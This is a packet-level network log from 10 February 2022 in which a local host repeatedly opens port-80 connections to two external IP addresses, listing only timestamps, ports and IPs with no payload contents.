Feb 10, 2022 10:22:18.617206097 CET	80	49181	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:18.688278913 CET	80	49181	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:18.688307047 CET	80	49181	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:18.688405991 CET	49181	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:18.688481092 CET	49181	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:18.704574108 CET	80	49181	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:20.284409046 CET	49182	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:20.300811052 CET	80	49182	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:20.300918102 CET	49182	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:20.304832935 CET	49182	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:20.321053982 CET	80	49182	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:20.321175098 CET	49182	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:20.337419987 CET	80	49182	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:20.398272991 CET	80	49182	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:20.398478031 CET	49182	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:20.398603916 CET	80	49182	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:20.398686886 CET	49182	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:20.414920092 CET	80	49182	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:21.351104021 CET	49183	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:21.367405891 CET	80	49183	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:21.367580891 CET	49183	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:21.371169090 CET	49183	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:21.387438059 CET	80	49183	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:21.387509108 CET	49183	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:21.403589010 CET	80	49183	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:21.466526985 CET	80	49183	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:21.466562986 CET	80	49183	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:21.466687918 CET	49183	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:21.466763973 CET	49183	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:21.482923031 CET	80	49183	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:22.470705986 CET	49184	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:22.487014055 CET	80	49184	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:22.487095118 CET	49184	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:22.490195036 CET	49184	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:22.506412983 CET	80	49184	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:22.506509066 CET	49184	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:22.522639990 CET	80	49184	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:22.588881016 CET	80	49184	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:22.588993073 CET	49184	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:22.589006901 CET	80	49184	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:22.589051008 CET	49184	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:22.605144024 CET	80	49184	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:23.485663891 CET	49185	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:23.501909971 CET	80	49185	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:23.501980066 CET	49185	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:23.504559040 CET	49185	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:23.520663977 CET	80	49185	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:23.520739079 CET	49185	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:23.536732912 CET	80	49185	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:23.595321894 CET	80	49185	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:23.595362902 CET	80	49185	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:23.595412016 CET	49185	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:23.595448971 CET	49185	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:23.611484051 CET	80	49185	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:24.569221020 CET	49186	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:24.585460901 CET	80	49186	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:24.585552931 CET	49186	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:24.588293076 CET	49186	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:24.604443073 CET	80	49186	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:24.604518890 CET	49186	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:24.620671988 CET	80	49186	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:24.674747944 CET	80	49186	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:24.674777985 CET	80	49186	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:24.674889088 CET	49186	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:24.674928904 CET	49186	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:24.693778992 CET	80	49186	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:25.573754072 CET	49187	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:25.589977980 CET	80	49187	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:25.590065002 CET	49187	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:25.593017101 CET	49187	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:25.609158993 CET	80	49187	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:25.609266043 CET	49187	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:25.625433922 CET	80	49187	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:25.698025942 CET	80	49187	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:25.698052883 CET	80	49187	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:25.698188066 CET	49187	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:25.698234081 CET	49187	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:25.714674950 CET	80	49187	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:26.652168989 CET	49188	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:26.668577909 CET	80	49188	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:26.668679953 CET	49188	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:26.671474934 CET	49188	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:26.687669039 CET	80	49188	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:26.687769890 CET	49188	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:26.704175949 CET	80	49188	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:26.773804903 CET	80	49188	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:26.773830891 CET	80	49188	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:26.773989916 CET	49188	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:26.774048090 CET	49188	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:26.793953896 CET	80	49188	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:27.668476105 CET	49189	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:27.684725046 CET	80	49189	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:27.684824944 CET	49189	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:27.690156937 CET	49189	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:27.706406116 CET	80	49189	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:27.707482100 CET	49189	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:27.723751068 CET	80	49189	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:27.795358896 CET	80	49189	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:27.795473099 CET	49189	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:27.795651913 CET	80	49189	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:27.795697927 CET	49189	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:27.811539888 CET	80	49189	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:29.066272020 CET	49190	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:29.082537889 CET	80	49190	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:29.082719088 CET	49190	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:29.085941076 CET	49190	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:29.102055073 CET	80	49190	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:29.102108955 CET	49190	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:29.118212938 CET	80	49190	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:29.188222885 CET	80	49190	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:29.188270092 CET	80	49190	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:29.188505888 CET	49190	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:29.190248013 CET	49190	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:29.206408024 CET	80	49190	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:30.778287888 CET	49191	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:30.796669960 CET	80	49191	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:30.796747923 CET	49191	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:30.799654961 CET	49191	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:30.818279982 CET	80	49191	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:30.818408966 CET	49191	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:30.835285902 CET	80	49191	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:30.894473076 CET	80	49191	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:30.894598007 CET	80	49191	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:30.894646883 CET	49191	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:30.894673109 CET	49191	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:30.910684109 CET	80	49191	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:31.859989882 CET	49192	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:31.877049923 CET	80	49192	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:31.877183914 CET	49192	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:31.879954100 CET	49192	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:31.896163940 CET	80	49192	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:31.897677898 CET	49192	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:31.913887978 CET	80	49192	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:31.985625029 CET	80	49192	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:31.985702038 CET	80	49192	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:31.985780001 CET	49192	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:31.985806942 CET	49192	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:32.001929045 CET	80	49192	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:32.931972027 CET	49193	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:32.948196888 CET	80	49193	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:32.948293924 CET	49193	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:32.951127052 CET	49193	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:32.967236996 CET	80	49193	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:32.967331886 CET	49193	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:32.983419895 CET	80	49193	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:33.053421974 CET	80	49193	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:33.053452015 CET	80	49193	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:33.053497076 CET	49193	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:33.053560972 CET	49193	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:33.069675922 CET	80	49193	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:33.987154007 CET	49194	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:34.003437996 CET	80	49194	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:34.003516912 CET	49194	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:34.006464005 CET	49194	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:34.022649050 CET	80	49194	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:34.022774935 CET	49194	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:34.038912058 CET	80	49194	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:34.138065100 CET	80	49194	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:34.138206005 CET	49194	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:34.138405085 CET	80	49194	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:34.138474941 CET	49194	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:34.154381037 CET	80	49194	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:35.036499977 CET	49195	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:35.052778959 CET	80	49195	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:35.052934885 CET	49195	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:35.055712938 CET	49195	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:35.071971893 CET	80	49195	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:35.072159052 CET	49195	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:35.088356018 CET	80	49195	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:35.142774105 CET	80	49195	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:35.142816067 CET	80	49195	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:35.143012047 CET	49195	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:35.143054008 CET	49195	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:35.159360886 CET	80	49195	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:36.053227901 CET	49196	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:36.069645882 CET	80	49196	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:36.069736958 CET	49196	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:36.072597980 CET	49196	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:36.088881016 CET	80	49196	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:36.088974953 CET	49196	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:36.105379105 CET	80	49196	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:36.184967995 CET	80	49196	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:36.185009003 CET	80	49196	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:36.185098886 CET	49196	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:36.185194016 CET	49196	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:36.201515913 CET	80	49196	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:37.099988937 CET	49197	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:37.117507935 CET	80	49197	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:37.117628098 CET	49197	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:37.120242119 CET	49197	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:37.137145042 CET	80	49197	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:37.137352943 CET	49197	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:37.153781891 CET	80	49197	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:37.238821030 CET	80	49197	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:37.239020109 CET	80	49197	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:37.239078045 CET	49197	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:37.239131927 CET	49197	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:37.255415916 CET	80	49197	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:38.150326967 CET	49198	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:38.166742086 CET	80	49198	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:38.166996956 CET	49198	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:38.172976971 CET	49198	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:38.189368010 CET	80	49198	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:38.189532995 CET	49198	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:38.205826044 CET	80	49198	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:38.275609016 CET	80	49198	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:38.275681019 CET	80	49198	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:38.276915073 CET	49198	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:38.276962996 CET	49198	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:38.294013977 CET	80	49198	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:39.205216885 CET	49199	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:39.222008944 CET	80	49199	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:39.222090006 CET	49199	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:39.224649906 CET	49199	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:39.242449999 CET	80	49199	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:39.242547989 CET	49199	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:39.258795977 CET	80	49199	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:39.314145088 CET	80	49199	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:39.314198971 CET	80	49199	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:39.314305067 CET	49199	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:39.314362049 CET	49199	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:39.330491066 CET	80	49199	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:40.400808096 CET	49200	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:40.418236971 CET	80	49200	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:40.418353081 CET	49200	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:40.420564890 CET	49200	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:40.437799931 CET	80	49200	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:40.437928915 CET	49200	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:40.455904007 CET	80	49200	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:40.521979094 CET	80	49200	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:40.522002935 CET	80	49200	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:40.522114992 CET	49200	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:40.522222996 CET	49200	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:40.540256977 CET	80	49200	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:41.417762041 CET	49201	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:41.433957100 CET	80	49201	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:41.434063911 CET	49201	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:41.439397097 CET	49201	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:41.455579996 CET	80	49201	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:41.455754042 CET	49201	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:41.471977949 CET	80	49201	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:41.572663069 CET	80	49201	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:41.572717905 CET	80	49201	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:41.572793961 CET	49201	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:41.572855949 CET	49201	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:41.589029074 CET	80	49201	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:42.511383057 CET	49202	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:42.530836105 CET	80	49202	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:42.531002045 CET	49202	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:42.533999920 CET	49202	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:42.550182104 CET	80	49202	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:42.550273895 CET	49202	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:42.567421913 CET	80	49202	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:42.618619919 CET	80	49202	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:42.618782997 CET	49202	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:42.618992090 CET	80	49202	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:42.619057894 CET	49202	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:42.638539076 CET	80	49202	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:43.526220083 CET	49203	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:43.542560101 CET	80	49203	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:43.542653084 CET	49203	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:43.544899940 CET	49203	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:43.561163902 CET	80	49203	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:43.561275959 CET	49203	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:43.577434063 CET	80	49203	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:43.664395094 CET	80	49203	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:43.664583921 CET	80	49203	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:43.664665937 CET	49203	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:43.664695024 CET	49203	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:43.680918932 CET	80	49203	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:44.565237999 CET	49204	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:44.581473112 CET	80	49204	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:44.581579924 CET	49204	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:44.584137917 CET	49204	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:44.600348949 CET	80	49204	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:44.600441933 CET	49204	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:44.616890907 CET	80	49204	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:44.682432890 CET	80	49204	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:44.682534933 CET	49204	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:44.682564020 CET	80	49204	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:44.682605982 CET	49204	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:44.698829889 CET	80	49204	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:45.621344090 CET	49205	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:45.637773037 CET	80	49205	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:45.637868881 CET	49205	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:45.641460896 CET	49205	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:45.657774925 CET	80	49205	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:45.657860994 CET	49205	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:45.674139023 CET	80	49205	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:45.752800941 CET	80	49205	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:45.752876043 CET	80	49205	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:45.753129005 CET	49205	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:45.753156900 CET	49205	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:45.769335032 CET	80	49205	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:46.707736015 CET	49206	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:46.724137068 CET	80	49206	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:46.724240065 CET	49206	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:46.729665995 CET	49206	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:46.745959997 CET	80	49206	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:46.746081114 CET	49206	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:46.762279987 CET	80	49206	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:46.816407919 CET	80	49206	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:46.816448927 CET	80	49206	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:46.816528082 CET	49206	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:46.816579103 CET	49206	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:46.832793951 CET	80	49206	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:47.715126991 CET	49207	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:47.731479883 CET	80	49207	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:47.731621027 CET	49207	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:47.737185955 CET	49207	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:47.753341913 CET	80	49207	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:47.753462076 CET	49207	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:47.769690037 CET	80	49207	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:47.842878103 CET	80	49207	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:47.842983007 CET	49207	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:47.843185902 CET	80	49207	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:47.843245029 CET	49207	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:47.859261990 CET	80	49207	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:48.815722942 CET	49208	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:48.831999063 CET	80	49208	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:48.832098961 CET	49208	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:48.837397099 CET	49208	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:48.853988886 CET	80	49208	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:48.854139090 CET	49208	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:48.870383024 CET	80	49208	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:48.933581114 CET	80	49208	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:48.933629990 CET	80	49208	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:48.933809042 CET	49208	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:48.935355902 CET	49208	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:48.951661110 CET	80	49208	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:49.881350040 CET	49209	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:49.897785902 CET	80	49209	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:49.897876978 CET	49209	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:49.900198936 CET	49209	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:49.916419983 CET	80	49209	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:49.916532040 CET	49209	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:49.932833910 CET	80	49209	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:50.045497894 CET	80	49209	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:50.045552015 CET	80	49209	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:50.045622110 CET	49209	80	192.168.2.22	172.67.197.66
